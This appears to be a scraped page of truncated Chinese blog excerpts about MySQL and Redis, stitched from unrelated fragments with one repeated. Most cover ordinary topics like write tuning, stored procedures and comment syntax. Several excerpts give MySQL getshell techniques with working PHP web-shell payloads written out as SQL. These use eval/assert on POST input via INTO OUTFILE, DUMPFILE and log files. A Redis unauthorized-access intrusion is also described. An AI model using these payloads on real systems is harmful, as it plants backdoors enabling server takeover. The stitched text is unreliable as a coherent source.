0x00 写数据的前提 1,在mysql的配置文件 my.ini 中,secure_file_priv="c:/wamp64/tmp" 被注释 或者 `secure_file_priv 配置的位置是web目录.2,未开启全局gpc.(php5.329之后就没有magic_quotes_gpc) 0x01 union select 写入 最常见的写入方式,union select 后跟 into outfile 语句注入点语句?id=1' union select 1,2,'<?p

redis和mongodb我之所见 最近自己在做一些个人的小创作.小项目,其中用到了mongodb和redis,最初可能对这二者没有深入的认识.都是所谓的“非关系型数据库”,有什么区别么? 实际上,在我看来,redis的角色更接近于memcache,而mongodb是一个真正的数据库. redis是一个key-value型数据库,信息以键对应值的关系存储在内存中,比memcache较大的优势就在于其数据结构的多样性. 说它不算一个真正意义上的数据库,因为redis是主要把数据存储在内存中(当然可

mysql 写数据步骤: 1:写入操作事物日志,持久化操作日志到磁盘,并且只是写在磁盘上一小块区域内的顺序io,不需要像随机io一样 在磁盘多个地方移动磁头 2:内存中事物日志持久化以后  ,写入的数据 ,更新到内存 3: 内存中被修改的数据在后台再持久化到磁盘

今天写代码时发现了下面一个比较奇怪的问题: 有下面的删除数据的SQL ; 这个sql本来没有问题,但是在MySQL中执行时会报错 ; 原因是 MySQL写delete语句时不支持表别名,困扰了我一会儿,特此记录. 补充: Oracle数据库执行上面的SQL是没问题的,Oracle写delete语句时支持表别名. 参考: https://blog.csdn.net/yin767833376/article/details/53606652 版权声明:本文为博主原创文章,未经博主允许不得转载. 原文

0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据.攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥

在某些情况下,当我们进入了一个网站的phpMyAdmin时,想通过select into outfile来写shell,但是通常都会报错. 这是因为在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL.并且无法用sql语句对其进行修改,只能够通过以下方式修改 日志利用: 方法一:慢查询日志  (slow query log)mysql也具有日志,我们也可以通过日志来getshell.mysql日志主要包含:错误日志.查询日志.慢查询日志.事务日志,日志的详细情况

select ... into outfile 需要满足的条件 对web目录有写权限 GPC关闭(GPC:是否对单引号转义) 有绝对路径(读文件可以不用,写文件需要) 没有配置secure-file-priv 姿势 有union select '<?php assert($_POST["cmd"]);?>' into outfile '/home/wwwroot/shadowyspirits/evil.php' 无union into outfile '/home/wwwr

写压力调优:数据库的写.写压力性能监控.写压力调优参数 一.关于DB的写 1.数据库是一个写频繁的系统 2.后台写.写缓存 3.commit需要写入 4.写缓存失效或者写满-->写压力陡增-->写占读的带宽 1.BBU失效 2.写入突然增加.cache满 5.日志写入.脏缓冲区写入   二.写压力性能监控 全面剖析写压力:多维度的对写性能进行监控. 1.OS层面的监控:iostat -x [root@localhost mydata]# iostat -x Linux -.el6.x86_64

这里以监控内存使用率为例,写的一个简单demo性程序,具体操作根据51reboot提供的教程写如下. 一.建库建表 创建falcon数据库: mysql> create database falcon character set utf8; Query OK, 1 row affected (0.00 sec) 创建内存监控使用的表stat,表结构如下: CREATE TABLE `stat` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT, `h

存储过程是干什么的,自己百度,百度上讲的比我讲的好.为什么要用存储过程,这样可以提高效率.废话少说,直接上代码: 首先说一下语法:在mysql中写存储过程 DELIMITER $$ CREATE /*[DEFINER = { user | CURRENT_USER }]*/ PROCEDURE `test`.`text_d`(in param1 varchar(10),in param2 varchar(20)) /*LANGUAGE SQL | [NOT] DETERMINISTIC | {

mysql设计标准事务处理标准索引使用标准约束设计sql语句标准 怎么写出高效SQL清晰无误的了知业务需求满足业务需求,不做无用功知道表数据量和索引基本情况知道完成SQL需要扫描的数据量级SQL执行计划OK?SQL性能达到要求?调整索引和SQL,优化SQL IN子查询容易导致问题,禁止使用,需改成join选择正确的驱动表:关键的第一步错误使用Left Joinleft join的表在where中出现,如Table1 left join Table2 on Table1.C1=Table2.c1w

CleverCode在实际的工作也写过一些低效率的sql语句.这些语句会给数据库带来非常大的压力.最基本的表现就是sql语句执行慢,后来逐渐的去优化和尝试. 总结了一些高质量的sql语句的写法.这里CleverCode总结一下分享给大家. [ CleverCode发表在csdn博客中的原创作品.请勿转载.原创地址:http://blog.csdn.net/clevercode/article/details/46341147] 1 建议一:尽量避免在列上运算       尽量避免在列上运算,这样

两种常规方法利用 MySQL getshell 的方法: select … into outfile general_log 一.select … into outfile 介绍 利用需要满足以下条件: 对web目录有写权限GPC关闭(能使用单引号)有绝对路径(读文件可以不用,写文件必须)没有配置 –secure-file-priv姿势: 有 union id=) union ,,,,,,,'<?php assert($_POST["cmd"]);?>’ into outf

MySql计数器,如网站点击数,如何实现高性能高并发的计数器功能 由于并发的时候 不能同时写入一行数据 所以要分开写<pre>先创建表CREATE TABLE `article_view`( `article_id` int(11) NOT NULL, `pond` tinyint(4) NOT NULL COMMENT '池子,就是用来随机用的', `view` int(11) NOT NULL, PRIMARY KEY (`article_id`, `pond`))ENGINE=InnoD

在工作中遇到要程序根据时间自动增加工龄的需求. php没办法自己发起请求,又不想在服务器上写计划任务crontab,通过用户请求来更改又不能保证用户会去操作. 用数据库的存储过程和事件来完成. 数据库里有创建时间字段(created)和工龄(working_years)字段. 存储过程: DROP PROCEDURE if EXISTS auto_working_years; CREATE PROCEDURE auto_working_years() BEGIN ; ; DECLARE cur1

一.常规导入shell的操作    创建数据表导出shell    CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL );    INSERT INTO `mysql`.`shadow9` (`content` ) VALUES ('<?php @eval($_POST[pass]);?>');    SELECT `content` FROM `shadow9` INTO OUTFILE 'C:\\phpStudy\\WWW\\9

php mysql 在浏览器输入用户名,去数据库查询.查到则显示在浏览器,查不到则显示空. sql 里面三个字段 id username password create table t1 (id int(3) NOT NULL AUTO_INCREMENT,username char(10) NOT NULL,password varchar(20)); insert into t1 values(1,'hello','world'); index.php //php mysql 在浏览器输入用

MySQL的注释风格总的来说有三种.它们分别是 1.单行注释可以用"#" select 1 as cname; #this is a comment +-------+ | cname | +-------+ | 1 | +-------+ -- (#后面直接根的就是注释) 2.单行注释的第二种写法用 "-- " 注意这个风格下"--[空格]" 也就是说“--" 与注释之间是有空格的. select 123; -- this is a

1.select '<?php eval($_POST[jumbo]) ?>' into outfile '/var/www/jumbo.php'; 2.select '<?php eval($_POST[jumbo]) ?>' into dumpfile '/var/www/jumbo.php'; 3.Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALU

原文地址:https://www.cnblogs.com/JiangLe/p/6897403.html MySQL的注释风格总的来说有三种.它们分别是 1.单行注释可以用"#" select 1 as cname; #this is a comment +-------+ | cname | +-------+ | 1 | +-------+ -- (#后面直接根的就是注释) 2.单行注释的第二种写法用 "-- " 注意这个风格下"--[空格]"